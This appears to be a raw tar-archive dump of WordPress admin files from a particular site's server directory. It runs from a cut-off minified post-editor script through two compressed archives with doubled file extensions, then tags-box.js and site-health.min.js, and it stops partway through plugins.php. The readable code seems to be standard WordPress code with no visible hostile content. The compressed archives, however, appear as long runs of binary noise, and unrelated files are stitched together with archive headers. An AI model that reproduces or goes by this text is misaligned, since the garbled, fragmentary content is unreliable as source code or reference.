select",b.find(".timestamp-wrap")).first().trigger("focus")}),h(this).hide()),t.preventDefault()}),b.find(".cancel-timestamp").on("click",function(t){b.slideUp("fast").siblings("a.edit-timestamp").show().trigger("focus"),h("#mm").val(h("#hidden_mm").val()),h("#jj").val(h("#hidden_jj").val()),h("#aa").val(h("#hidden_aa").val()),h("#hh").val(h("#hidden_hh").val()),h("#mn").val(h("#hidden_mn").val()),n(),t.preventDefault()}),b.find(".save-timestamp").on("click",function(t){n()&&(b.slideUp("fast"),b.siblings("a.edit-timestamp").show().trigger("focus")),t.preventDefault()}),h("#post").on("submit",function(t){n()||(t.preventDefault(),b.show(),wp.autosave&&wp.autosave.enableButtons(),h("#publishing-action .spinner").removeClass("is-active"))}),k.siblings("a.edit-post-status").on("click",function(t){k.is(":hidden")&&(k.slideDown("fast",function(){k.find("select").trigger("focus")}),h(this).hide()),t.preventDefault()}),k.find(".save-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),n(),t.preventDefault()}),k.find(".cancel-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),h("#post_status").val(h("#hidden_post_status").val()),n(),t.preventDefault()})),h("#titlediv").on("click",".edit-slug",function(){var t,e,a,i,n=0,s=h("#post_name"),o=s.val(),l=h("#sample-permalink"),r=l.html(),c=h("#sample-permalink a").html(),d=h("#edit-slug-buttons"),p=d.html(),u=h("#editable-post-name-full");for(u.find("img").replaceWith(function(){return this.alt}),u=u.html(),l.html(c),a=h("#editable-post-name"),i=a.html(),d.html('<button type="button" class="save button button-small">'+x("OK")+'</button> <button type="button" class="cancel button-link">'+x("Cancel")+"</button>"),d.children(".save").on("click",function(){var i=a.children("input").val();i==h("#editable-post-name-full").text()?d.children(".cancel").trigger("click"):h.post(ajaxurl,{action:"sample-permalink",post_id:v,new_slug:i,new_title:h("#title").val(),samplepermalinknonce:h("#samplepermalinknonce").val()},function(t){var e=h("#edit-slug-box");e.html(t),e.hasClass("hidden")&&e.fadeIn("fast",function(){e.removeClass("hidden")}),d.html(p),l.html(r),s.val(i),h(".edit-slug").trigger("focus"),wp.a11y.speak(x("Permalink saved"))})}),d.children(".cancel").on("click",function(){h("#view-post-btn").show(),a.html(i),d.html(p),l.html(r),s.val(o),h(".edit-slug").trigger("focus")}),t=0;t<u.length;++t)"%"==u.charAt(t)&&n++;c=n>u.length/4?"":u,e=x("URL Slug"),a.html('<label for="new-post-slug" class="screen-reader-text">'+e+'</label><input type="text" id="new-post-slug" value="'+c+'" autocomplete="off" spellcheck="false" />').children("input").on("keydown",function(t){var e=t.which;13===e&&(t.preventDefault(),d.children(".save").trigger("click")),27===e&&d.children(".cancel").trigger("click")}).on("keyup",function(){s.val(this.value)}).trigger("focus")}),window.wptitlehint=function(t){var e=h("#"+(t=t||"title")),i=h("#"+t+"-prompt-text");""===e.val()&&i.removeClass("screen-reader-text"),e.on("input",function(){""===this.value?i.removeClass("screen-reader-text"):i.addClass("screen-reader-text")})},wptitlehint(),t=h("#post-status-info"),c=h("#postdivrich"),!u.length||"ontouchstart"in window?h("#content-resize-handle").hide():t.on("mousedown.wp-editor-resize",function(t){(o="undefined"!=typeof tinymce?tinymce.get("content"):o)&&!o.isHidden()?(r=!0,l=h("#content_ifr").height()-t.pageY):(r=!1,l=u.height()-t.pageY,u.trigger("blur")),f.on("mousemove.wp-editor-resize",D).on("mouseup.wp-editor-resize mouseleave.wp-editor-resize",j),t.preventDefault()}).on("mouseup.wp-editor-resize",j),"undefined"!=typeof tinymce&&(h("#post-formats-select input.post-format").on("change.set-editor-class",function(){var t,e,i=this.id;i&&h(this).prop("checked")&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpost-format-[^ ]+/,""),t.dom.addClass(e,"post-format-0"==i?"post-format-standard":i),h(document).trigger("editor-classchange"))}),h("#page_template").on("change.set-editor-class",function(){var t,e,i=h(this).val()||"";(i=i.substr(i.lastIndexOf("/")+1,i.length).replace(/\.php$/,"").replace(/\./g,"-"))&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpage-template-[^ ]+/,""),t.dom.addClass(e,"page-template-"+i),h(document).trigger("editor-classchange"))})),u.on("keydown.wp-autosave",function(t){83!==t.which||t.shiftKey||t.altKey||_&&(!t.metaKey||t.ctrlKey)||!_&&!t.ctrlKey||(wp.autosave&&wp.autosave.server.triggerSave(),t.preventDefault())}),"auto-draft"===h("#original_post_status").val()&&window.history.replaceState&&h("#publish").on("click",function(){d=(d=window.location.href)+(-1!==d.indexOf("?")?"&":"?")+"wp-post-new-reload=true",window.history.replaceState(null,null,d)}),y.on("success",function(t){var e=h(t.trigger),i=h(".success",e.closest(".copy-to-clipboard-container"));t.clearSelection(),e.trigger("focus"),clearTimeout(s),i.removeClass("hidden"),s=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(x("The file URL has been copied to your clipboard"))})}),function(t,o){t(function(){var i,e=t("#content"),a=t("#wp-word-count").find(".word-count"),n=0;function s(){var t=!i||i.isHidden()?e.val():i.getContent({format:"raw"}),t=o.count(t);t!==n&&a.text(t),n=t}t(document).on("tinymce-editor-init",function(t,e){"content"===e.id&&(i=e).on("nodechange keyup",_.debounce(s,1e3))}),e.on("input keyup",_.debounce(s,1e3)),s()})}(jQuery,new wp.utils.WordCounter);postbox.min.js.min.js.tar.gz000064400000004442150276633100011772 0ustar00��Y]o���
�d����Lv+���ڇv����-]��ȢV�������dѶ�d��m��ئ��y�!��K:-����4�Hi�Ԫ�,N���x���:-��Sy�g|��{�3�s��}�`0�08~��g�g����c|����3o�
{��g�+l�{����;�,��f"'�|�e4��*�)�ޝ��h�*R-d���
�<>�L��%:��m��E<��nE��۸IR�/��&i.ү�FR-�B	Q���8ͥB����P�U̵�|&2�X��b*y�M���UTM
>gG�>>�U��|�ӏ9��gVV�4>R��q_:�����a��Lz��g��gӕֲ��A�#����lR�5�"c��r㙸�s:>�~+~C$�&{|`M����l}_��y��Z�ۋ������q�ʅȶ��G|$��1�<֕��	.h�Gu$����UF�^lr@��7Lnt9��p��$�#�����Ӝ�&N���F(�7X��:Ω������Η�H�é��ZW+�����L(�'�
��fS$���B�T!���˂<�djM�Ư���6�6A�;b�I!�����*��U0�\�}V����T�WU��H�9�w��'ҷD��ַ���!W
��q26���1���xJ3Y�R�'3 Bvۮ��_ok+L}�dI��םhK�ڴ[*�����؎J�'C��/^hoAw��5\�_O�gz������jW��Π<���jǩ4>���]�y���q�R��jG^��!�7%h�1�Q����:��U�a7����N6Sw�ǹo�%��7�_�hx��6L�,�ܞvb�u.�,y�u�+��G�6B�o�u���> |�Չ�������^��=���*���� �f�֯ݟo_�[~_>��j��Y��k�}T�bu�f`�*Zʛ�.��ed�5�U��'��9>*d6�β�{��J��mӹz-=��mL&,	�	�����Z�:���Fܤn�N�j0����lgv=g��J��Y��r'�Xl��uh��Bh�
Jz1K7;��Y.��δe���y�۬fa����J��T9����2x?/�R�WW\��KKV��'��E���٦��?ь�rD�(�e�=�~5�>m���5�j�j�6"#��=�u���߄ުaUt	.@q-��?�Mͬmnj��ZYu��q��B�.�ה\�OS_�÷8K�e�"�e�<Q�+}i���gB���/u*2@�_�i��g����(YN'�8�$�oV���uhJ��h�V�ry�Tf��ì�r*,��}�l�|�����V͐�|����P�<����I��Ñ3��T���B/�^y�дTIW%
Oˆ�_�XU��0�,�(��8�A��ԼH)9�DA���(��\6�O�>�ſ)9��K�tc(�CC�-�*��
�'66�[�%�e߭����M؇���߸^�P+��:�8�~Fs��r
V�}^�P*�}��U�vY�aBk�ش%�����9�EƵu"�$tɍ���SsHQ�0<x�u
l��C:P�7�G� X�1S�r��,�[���B�Y,�r,IM�s���J�+JI��NfP
"6�{9��R���X!�hD=�}(��j�8:��{EnPHV�y�(�9@�m����ng�뎵C��v��r���>���%ۙG�76G�7=7(;����P�P�7��be�~<o�${O���"�[�񒗮�
~�$'CY��p�k����æ�IK/�Ybn����߭�<|�ve�X9�P�$2��JT3��RH��XQu���{��f�\B�u�ܾ+�"�=�4��Z�����(�A.+��cޤ��p��Ѿj�fOX�hz�`�s V�̊�d'��cU�h�,b
��]��
��\K{0fNt�{�Q��s���P��Dݝ)�j�!��)Q�gq��]��¶�=�{��Gs�fO�8G�"Cv)�j�1�"�>Oͳ�~4@�>]�C��#��:�r�MM��O�m������.4�=Zb�a�����/
�l�l�a�����6`��Nkh�W�+;_�1����eMPg�\ڛ��ie��si��g�%�'4�f&�X��9���6;�۳�4%�j6B�Q����Lj�"n{԰��@c��I"6�;x���pY"蟶���4d�/vB�a*��N�ARQ=��L�Q����S��|J�6�D�~
?R�BÝ�A�6<�\���Ab>#|���jֲ����M����,MQ�_GVD-��0��e�Rz5�uY��ڦ�˷Z��8�
�P�o�_�x0�_���y}^���M�����"media-new.php.php.tar.gz000064400000003106150276633100011120 0ustar00��Wmo�6�W�WpFP%Em%}I��v׮�Z�Y�&�0�@K��F&U��k���{��d'ˀv�DE�H<�=w��K
=��N:%T�a��6"fz�,���R%s�K>Pb9���η=�x�=��;=8x|g�����}o�`o��~�����p��?a�?���"�Qr�^��c��L0�kVW���م,��$qV#��9W+:r�X&�ڄ�CvR�3�,˸b�
�j�9�/�[���Z_J5���+D��5�}ųK��6�	�i�W[Oۃg�Oi���ID��7@��uM�=���KE�F|���V�`i��4eC'����0���f߱�6F(��V��m�8�*�@٘����QoY�����Sm��>[��Oi�xY�%���}h;�
�/Q
B}�E-R�Y9(�� <(��K*&�h��֥2gc�{�Jknl��~>?:={72�o-č[|j���?�z��3�R:�d{y�}�|s\�� ����{W!������Vz��,H]�����7/!
ޕ�wa]�+�"�����vF�Bd��Ocj�8j�+43�u���%	;9x��i�8��o)�K4Cܤ�C�*Ґ�4@1�+���6}&#�/)��
 [�m6��
��5��ܪM�Q�S5�'>I�iD�Y
EJ���
C����φ�V�9<�@�&?�%;&G}��*�L4��I0���RlBm�&<��B�U�t;�qc�
��b�8a�^��bߧ#�'G����x�L+�C�"֋G�$F�z�_Qb�s��
��WVhQK�
];���<�Q� b���IJ�j�V���-����*4"�J��E�	� h_�)+����Ƹq2�Kn�F��;o�@�!ntYW �LWԳ���p�	��j��4���o�\�g����l��𙇞]���+1��]GΦ!��t�*E#C�>6�s7������(NE	&���k�p�3�r�R�\/����e��;&�Ӯ��!�7���޵~A��ZHZ��Gx�K��=(X ���2z�'��k��iX`�����kb�B{n@8�9o�abFv醧�φ�7�Ȧ�Ӎ�F�@��D��kM6Ԫ�����S��b�K����Z�OК��t��+�9�����*�$I���Eu��,�uV�ʫL|���Y=�Ih��I�bS�r�U��Y-���z�|$[W�6.������i��‡��)�W׉g�OO���"�n���
A�n���2�Jl��\��ͬ�#�V�?-�@�`e��P>��E
���<&��?a�N���z#�@1�1l!G���$�r����G{�L2��	��t6�|�9dO�
HE�~��pjܟ���C������h��O]��+Q�q��	?�6���S�(��~���u���
�q	��
|�����~���l�_�󰢱��ʛ|��R�h�gH�z����O��8�1{������(�RUuk��y.T�r.B��$�н�2����V�,���b�PDa|Q�Z���gY
g��v�01��lɇ0��Y��{~�ʢ����Ϳ����s��>�������tags-box.js.tar000064400000031000150276633100007410 0ustar00home/natitnen/crestassured.com/wp-admin/js/tags-box.js000064400000025604150265041720017023 0ustar00/**
 * @output wp-admin/js/tags-box.js
 */

/* jshint curly: false, eqeqeq: false */
/* global ajaxurl, tagBox, array_unique_noempty */

( function( $ ) {
	var tagDelimiter = wp.i18n._x( ',', 'tag delimiter' ) || ',';

	/**
	 * Filters unique items and returns a new array.
	 *
	 * Filters all items from an array into a new array containing only the unique
	 * items. This also excludes whitespace or empty values.
	 *
	 * @since 2.8.0
	 *
	 * @global
	 *
	 * @param {Array} array The array to filter through.
	 *
	 * @return {Array} A new array containing only the unique items.
	 */
	window.array_unique_noempty = function( array ) {
		var out = [];

		// Trim the values and ensure they are unique.
		$.each( array, function( key, val ) {
			val = val || '';
			val = val.trim();

			if ( val && $.inArray( val, out ) === -1 ) {
				out.push( val );
			}
		} );

		return out;
	};

	/**
	 * The TagBox object.
	 *
	 * Contains functions to create and manage tags that can be associated with a
	 * post.
	 *
	 * @since 2.9.0
	 *
	 * @global
	 */
	window.tagBox = {
		/**
		 * Cleans up tags by removing redundant characters.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {string} tags Comma separated tags that need to be cleaned up.
		 *
		 * @return {string} The cleaned up tags.
		 */
		clean : function( tags ) {
			if ( ',' !== tagDelimiter ) {
				tags = tags.replace( new RegExp( tagDelimiter, 'g' ), ',' );
			}

			tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, '');

			if ( ',' !== tagDelimiter ) {
				tags = tags.replace( /,/g, tagDelimiter );
			}

			return tags;
		},

		/**
		 * Parses tags and makes them editable.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The tag element to retrieve the ID from.
		 *
		 * @return {boolean} Always returns false.
		 */
		parseTags : function(el) {
			var id = el.id,
				num = id.split('-check-num-')[1],
				taxbox = $(el).closest('.tagsdiv'),
				thetags = taxbox.find('.the-tags'),
				current_tags = thetags.val().split( tagDelimiter ),
				new_tags = [];

			delete current_tags[num];

			// Sanitize the current tags and push them as if they're new tags.
			$.each( current_tags, function( key, val ) {
				val = val || '';
				val = val.trim();
				if ( val ) {
					new_tags.push( val );
				}
			});

			thetags.val( this.clean( new_tags.join( tagDelimiter ) ) );

			this.quickClicks( taxbox );
			return false;
		},

		/**
		 * Creates clickable links, buttons and fields for adding or editing tags.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The container HTML element.
		 *
		 * @return {void}
		 */
		quickClicks : function( el ) {
			var thetags = $('.the-tags', el),
				tagchecklist = $('.tagchecklist', el),
				id = $(el).attr('id'),
				current_tags, disabled;

			if ( ! thetags.length )
				return;

			disabled = thetags.prop('disabled');

			current_tags = thetags.val().split( tagDelimiter );
			tagchecklist.empty();

			/**
			 * Creates a delete button if tag editing is enabled, before adding it to the tag list.
			 *
			 * @since 2.5.0
			 *
			 * @memberOf tagBox
			 *
			 * @param {string} key The index of the current tag.
			 * @param {string} val The value of the current tag.
			 *
			 * @return {void}
			 */
			$.each( current_tags, function( key, val ) {
				var listItem, xbutton;

				val = val || '';
				val = val.trim();

				if ( ! val )
					return;

				// Create a new list item, and ensure the text is properly escaped.
				listItem = $( '<li />' ).text( val );

				// If tags editing isn't disabled, create the X button.
				if ( ! disabled ) {
					/*
					 * Build the X buttons, hide the X icon with aria-hidden and
					 * use visually hidden text for screen readers.
					 */
					xbutton = $( '<button type="button" id="' + id + '-check-num-' + key + '" class="ntdelbutton">' +
						'<span class="remove-tag-icon" aria-hidden="true"></span>' +
						'<span class="screen-reader-text">' + wp.i18n.__( 'Remove term:' ) + ' ' + listItem.html() + '</span>' +
						'</button>' );

					/**
					 * Handles the click and keypress event of the tag remove button.
					 *
					 * Makes sure the focus ends up in the tag input field when using
					 * the keyboard to delete the tag.
					 *
					 * @since 4.2.0
					 *
					 * @param {Event} e The click or keypress event to handle.
					 *
					 * @return {void}
					 */
					xbutton.on( 'click keypress', function( e ) {
						// On click or when using the Enter/Spacebar keys.
						if ( 'click' === e.type || 13 === e.keyCode || 32 === e.keyCode ) {
							/*
							 * When using the keyboard, move focus back to the
							 * add new tag field. Note: when releasing the pressed
							 * key this will fire the `keyup` event on the input.
							 */
							if ( 13 === e.keyCode || 32 === e.keyCode ) {
 								$( this ).closest( '.tagsdiv' ).find( 'input.newtag' ).trigger( 'focus' );
 							}

							tagBox.userAction = 'remove';
							tagBox.parseTags( this );
						}
					});

					listItem.prepend( '&nbsp;' ).prepend( xbutton );
				}

				// Append the list item to the tag list.
				tagchecklist.append( listItem );
			});

			// The buttons list is built now, give feedback to screen reader users.
			tagBox.screenReadersMessage();
		},

		/**
		 * Adds a new tag.
		 *
		 * Also ensures that the quick links are properly generated.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The container HTML element.
		 * @param {Object|boolean} a When this is an HTML element the text of that
		 *                           element will be used for the new tag.
		 * @param {number|boolean} f If this value is not passed then the tag input
		 *                           field is focused.
		 *
		 * @return {boolean} Always returns false.
		 */
		flushTags : function( el, a, f ) {
			var tagsval, newtags, text,
				tags = $( '.the-tags', el ),
				newtag = $( 'input.newtag', el );

			a = a || false;

			text = a ? $(a).text() : newtag.val();

			/*
			 * Return if there's no new tag or if the input field is empty.
			 * Note: when using the keyboard to add tags, focus is moved back to
			 * the input field and the `keyup` event attached on this field will
			 * fire when releasing the pressed key. Checking also for the field
			 * emptiness avoids to set the tags and call quickClicks() again.
			 */
			if ( 'undefined' == typeof( text ) || '' === text ) {
				return false;
			}

			tagsval = tags.val();
			newtags = tagsval ? tagsval + tagDelimiter + text : text;

			newtags = this.clean( newtags );
			newtags = array_unique_noempty( newtags.split( tagDelimiter ) ).join( tagDelimiter );
			tags.val( newtags );
			this.quickClicks( el );

			if ( ! a )
				newtag.val('');
			if ( 'undefined' == typeof( f ) )
				newtag.trigger( 'focus' );

			return false;
		},

		/**
		 * Retrieves the available tags and creates a tagcloud.
		 *
		 * Retrieves the available tags from the database and creates an interactive
		 * tagcloud. Clicking a tag will add it.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {string} id The ID to extract the taxonomy from.
		 *
		 * @return {void}
		 */
		get : function( id ) {
			var tax = id.substr( id.indexOf('-') + 1 );

			/**
			 * Puts a received tag cloud into a DOM element.
			 *
			 * The tag cloud HTML is generated on the server.
			 *
			 * @since 2.9.0
			 *
			 * @param {number|string} r The response message from the Ajax call.
			 * @param {string} stat The status of the Ajax request.
			 *
			 * @return {void}
			 */
			$.post( ajaxurl, { 'action': 'get-tagcloud', 'tax': tax }, function( r, stat ) {
				if ( 0 === r || 'success' != stat ) {
					return;
				}

				r = $( '<div id="tagcloud-' + tax + '" class="the-tagcloud">' + r + '</div>' );

				/**
				 * Adds a new tag when a tag in the tagcloud is clicked.
				 *
				 * @since 2.9.0
				 *
				 * @return {boolean} Returns false to prevent the default action.
				 */
				$( 'a', r ).on( 'click', function() {
					tagBox.userAction = 'add';
					tagBox.flushTags( $( '#' + tax ), this );
					return false;
				});

				$( '#' + id ).after( r );
			});
		},

		/**
		 * Track the user's last action.
		 *
		 * @since 4.7.0
		 */
		userAction: '',

		/**
		 * Dispatches an audible message to screen readers.
		 *
		 * This will inform the user when a tag has been added or removed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		screenReadersMessage: function() {
			var message;

			switch ( this.userAction ) {
				case 'remove':
					message = wp.i18n.__( 'Term removed.' );
					break;

				case 'add':
					message = wp.i18n.__( 'Term added.' );
					break;

				default:
					return;
			}

			window.wp.a11y.speak( message, 'assertive' );
		},

		/**
		 * Initializes the tags box by setting up the links, buttons. Sets up event
		 * handling.
		 *
		 * This includes handling of pressing the enter key in the input field and the
		 * retrieval of tag suggestions.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @return {void}
		 */
		init : function() {
			var ajaxtag = $('div.ajaxtag');

			$('.tagsdiv').each( function() {
				tagBox.quickClicks( this );
			});

			$( '.tagadd', ajaxtag ).on( 'click', function() {
				tagBox.userAction = 'add';
				tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
			});

			/**
			 * Handles pressing enter on the new tag input field.
			 *
			 * Prevents submitting the post edit form. Uses `keypress` to take
			 * into account Input Method Editor (IME) converters.
			 *
			 * @since 2.9.0
			 *
			 * @param {Event} event The keypress event that occurred.
			 *
			 * @return {void}
			 */
			$( 'input.newtag', ajaxtag ).on( 'keypress', function( event ) {
				if ( 13 == event.which ) {
					tagBox.userAction = 'add';
					tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
					event.preventDefault();
					event.stopPropagation();
				}
			}).each( function( i, element ) {
				$( element ).wpTagsSuggest();
			});

			/**
			 * Before a post is saved the value currently in the new tag input field will be
			 * added as a tag.
			 *
			 * @since 2.9.0
			 *
			 * @return {void}
			 */
			$('#post').on( 'submit', function(){
				$('div.tagsdiv').each( function() {
					tagBox.flushTags(this, false, 1);
				});
			});

			/**
			 * Handles clicking on the tag cloud link.
			 *
			 * Makes sure the ARIA attributes are set correctly.
			 *
			 * @since 2.9.0
			 *
			 * @return {void}
			 */
			$('.tagcloud-link').on( 'click', function(){
				// On the first click, fetch the tag cloud and insert it in the DOM.
				tagBox.get( $( this ).attr( 'id' ) );
				// Update button state, remove previous click event and attach a new one to toggle the cloud.
				$( this )
					.attr( 'aria-expanded', 'true' )
					.off()
					.on( 'click', function() {
						$( this )
							.attr( 'aria-expanded', 'false' === $( this ).attr( 'aria-expanded' ) ? 'true' : 'false' )
							.siblings( '.the-tagcloud' ).toggle();
					});
			});
		}
	};
}( jQuery ));
site-health.min.js000064400000014235150276633100010103 0ustar00/*! This file is auto-generated */
jQuery(function(o){var a,r=wp.i18n.__,n=wp.i18n._n,l=wp.i18n.sprintf,e=new ClipboardJS(".site-health-copy-buttons .copy-button"),c=o(".health-check-body.health-check-status-tab").length,t=o(".health-check-body.health-check-debug-tab").length,i=o("#health-check-accordion-block-wp-paths-sizes"),h=o("#adminmenu .site-health-counter"),u=o("#adminmenu .site-health-counter .count");function d(e){var t,s,a=wp.template("health-check-issue"),i=o("#health-check-issues-"+e.status);!function(e){var t,s,a,i,n={test:"string",label:"string",description:"string"},o=!0;if("object"==typeof e){for(t in n)if("object"==typeof(s=n[t]))for(a in s)i=s[a],void 0!==e[t]&&void 0!==e[t][a]&&i===typeof e[t][a]||(o=!1);else void 0!==e[t]&&s===typeof e[t]||(o=!1);return o}}(e)||(SiteHealth.site_status.issues[e.status]++,s=SiteHealth.site_status.issues[e.status],void 0===e.test&&(e.test=e.status+s),"critical"===e.status?t=l(n("%s critical issue","%s critical issues",s),'<span class="issue-count">'+s+"</span>"):"recommended"===e.status?t=l(n("%s recommended improvement","%s recommended improvements",s),'<span class="issue-count">'+s+"</span>"):"good"===e.status&&(t=l(n("%s item with no issues detected","%s items with no issues detected",s),'<span class="issue-count">'+s+"</span>")),t&&o(".site-health-issue-count-title",i).html(t),u.text(SiteHealth.site_status.issues.critical),0<parseInt(SiteHealth.site_status.issues.critical,0)?(o("#health-check-issues-critical").removeClass("hidden"),h.removeClass("count-0")):h.addClass("count-0"),0<parseInt(SiteHealth.site_status.issues.recommended,0)&&o("#health-check-issues-recommended").removeClass("hidden"),o(".issues","#health-check-issues-"+e.status).append(a(e)))}function p(){var e=o(".site-health-progress"),t=e.closest(".site-health-progress-wrapper"),s=o(".site-health-progress-label",t),a=o(".site-health-progress svg #bar"),i=parseInt(SiteHealth.site_status.issues.good,0)+parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=.5*parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=100-Math.ceil(n/i*100);0===i?e.addClass("hidden"):(t.removeClass("loading"),i=a.attr("r"),e=Math.PI*(2*i),a.css({strokeDashoffset:(100-(n=100<(n=n<0?0:n)?100:n))/100*e+"px"}),80<=n&&0===parseInt(SiteHealth.site_status.issues.critical,0)?(t.addClass("green").removeClass("orange"),s.text(r("Good")),m("good")):(t.addClass("orange").removeClass("green"),s.text(r("Should be improved")),m("improvable")),c&&(o.post(ajaxurl,{action:"health-check-site-status-result",_wpnonce:SiteHealth.nonce.site_status_result,counts:SiteHealth.site_status.issues}),100===n)&&(o(".site-status-all-clear").removeClass("hide"),o(".site-status-has-issues").addClass("hide")))}function g(e,t){e={status:"recommended",label:r("A test is unavailable"),badge:{color:"red",label:r("Unavailable")},description:"<p>"+e+"</p><p>"+t+"</p>",actions:""};d(wp.hooks.applyFilters("site_status_test_result",e))}function s(){var t=(new Date).getTime(),s=window.setTimeout(function(){m("waiting-for-directory-sizes")},3e3);wp.apiRequest({path:"/wp-site-health/v1/directory-sizes"}).done(function(e){var a,s;a=e||{},e=o("button.button.copy-button"),s=e.attr("data-clipboard-text"),o.each(a,function(e,t){t=t.debug||t.size;void 0!==t&&(s=s.replace(e+": loading...",e+": "+t))}),e.attr("data-clipboard-text",s),i.find("td[class]").each(function(e,t){var t=o(t),s=t.attr("class");a.hasOwnProperty(s)&&a[s].size&&t.text(a[s].size)})}).always(function(){var e=(new Date).getTime()-t;o(".health-check-wp-paths-sizes.spinner").css("visibility","hidden"),3e3<e?(e=6e3<e?0:6500-e,window.setTimeout(function(){p()},e)):window.clearTimeout(s),o(document).trigger("site-health-info-dirsizes-done")})}function m(e){if("site-health"===SiteHealth.screen)switch(e){case"good":wp.a11y.speak(r("All site health tests have finished running. Your site is looking good."));break;case"improvable":wp.a11y.speak(r("All site health tests have finished running. There are items that should be addressed."));break;case"waiting-for-directory-sizes":wp.a11y.speak(r("Running additional tests... please wait."))}}e.on("success",function(e){var t=o(e.trigger),s=o(".success",t.closest("div"));e.clearSelection(),t.trigger("focus"),clearTimeout(a),s.removeClass("hidden"),a=setTimeout(function(){s.addClass("hidden")},3e3),wp.a11y.speak(r("Site information has been copied to your clipboard."))}),o(".health-check-accordion").on("click",".health-check-accordion-trigger",function(){"true"===o(this).attr("aria-expanded")?(o(this).attr("aria-expanded","false"),o("#"+o(this).attr("aria-controls")).attr("hidden",!0)):(o(this).attr("aria-expanded","true"),o("#"+o(this).attr("aria-controls")).attr("hidden",!1))}),o(".site-health-view-passed").on("click",function(){var e=o("#health-check-issues-good");e.toggleClass("hidden"),o(this).attr("aria-expanded",!e.hasClass("hidden"))}),"undefined"!=typeof SiteHealth&&(0===SiteHealth.site_status.direct.length&&0===SiteHealth.site_status.async.length?p():SiteHealth.site_status.issues={good:0,recommended:0,critical:0},0<SiteHealth.site_status.direct.length&&o.each(SiteHealth.site_status.direct,function(){d(this)}),(0<SiteHealth.site_status.async.length?function t(){var s=!0;1<=SiteHealth.site_status.async.length&&o.each(SiteHealth.site_status.async,function(){var e={action:"health-check-"+this.test.replace("_","-"),_wpnonce:SiteHealth.nonce.site_status};return!!this.completed||(s=!1,this.completed=!0,(void 0!==this.has_rest&&this.has_rest?wp.apiRequest({url:wp.url.addQueryArgs(this.test,{_locale:"user"}),headers:this.headers}).done(function(e){d(wp.hooks.applyFilters("site_status_test_result",e))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:r("No details available"),g(this.url,e)}):o.post(ajaxurl,e).done(function(e){d(wp.hooks.applyFilters("site_status_test_result",e.data))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:r("No details available"),g(this.url,e)})).always(function(){t()}),!1)}),s&&p()}:p)()),t&&(i.length?s:p)(),o(".health-check-offscreen-nav-wrapper").on("click",function(){o(this).toggleClass("visible")})});plugins.php.tar000064400000075000150276633100007530 0ustar00home/natitnen/crestassured.com/wp-admin/plugins.php000064400000071512150276516130016522 0ustar00<?php
/**
 * Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'activate_plugins' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage plugins for this site.' ) );
}

$wp_list_table = _get_list_table( 'WP_Plugins_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$plugin = isset( $_REQUEST['plugin'] ) ? wp_unslash( $_REQUEST['plugin'] ) : '';
$s      = isset( $_REQUEST['s'] ) ? urlencode( wp_unslash( $_REQUEST['s'] ) ) : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$query_args_to_remove = array(
	'error',
	'deleted',
	'activate',
	'activate-multi',
	'deactivate',
	'deactivate-multi',
	'enabled-auto-update',
	'disabled-auto-update',
	'enabled-auto-update-multi',
	'disabled-auto-update-multi',
	'_error_nonce',
);

$_SERVER['REQUEST_URI'] = remove_query_arg( $query_args_to_remove, $_SERVER['REQUEST_URI'] );

wp_enqueue_script( 'updates' );

if ( $action ) {

	switch ( $action ) {
		case 'activate':
			if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) );
			}

			if ( is_multisite() && ! is_network_admin() && is_network_only_plugin( $plugin ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			check_admin_referer( 'activate-plugin_' . $plugin );

			$result = activate_plugin( $plugin, self_admin_url( 'plugins.php?error=true&plugin=' . urlencode( $plugin ) ), is_network_admin() );
			if ( is_wp_error( $result ) ) {
				if ( 'unexpected_output' === $result->get_error_code() ) {
					$redirect = self_admin_url( 'plugins.php?error=true&charsout=' . strlen( $result->get_error_data() ) . '&plugin=' . urlencode( $plugin ) . "&plugin_status=$status&paged=$page&s=$s" );
					wp_redirect( add_query_arg( '_error_nonce', wp_create_nonce( 'plugin-activation-error_' . $plugin ), $redirect ) );
					exit;
				} else {
					wp_die( $result );
				}
			}

			if ( ! is_network_admin() ) {
				$recent = (array) get_option( 'recently_activated' );
				unset( $recent[ $plugin ] );
				update_option( 'recently_activated', $recent );
			} else {
				$recent = (array) get_site_option( 'recently_activated' );
				unset( $recent[ $plugin ] );
				update_site_option( 'recently_activated', $recent );
			}

			if ( isset( $_GET['from'] ) && 'import' === $_GET['from'] ) {
				// Overrides the ?error=true one above and redirects to the Imports page, stripping the -importer suffix.
				wp_redirect( self_admin_url( 'import.php?import=' . str_replace( '-importer', '', dirname( $plugin ) ) ) );
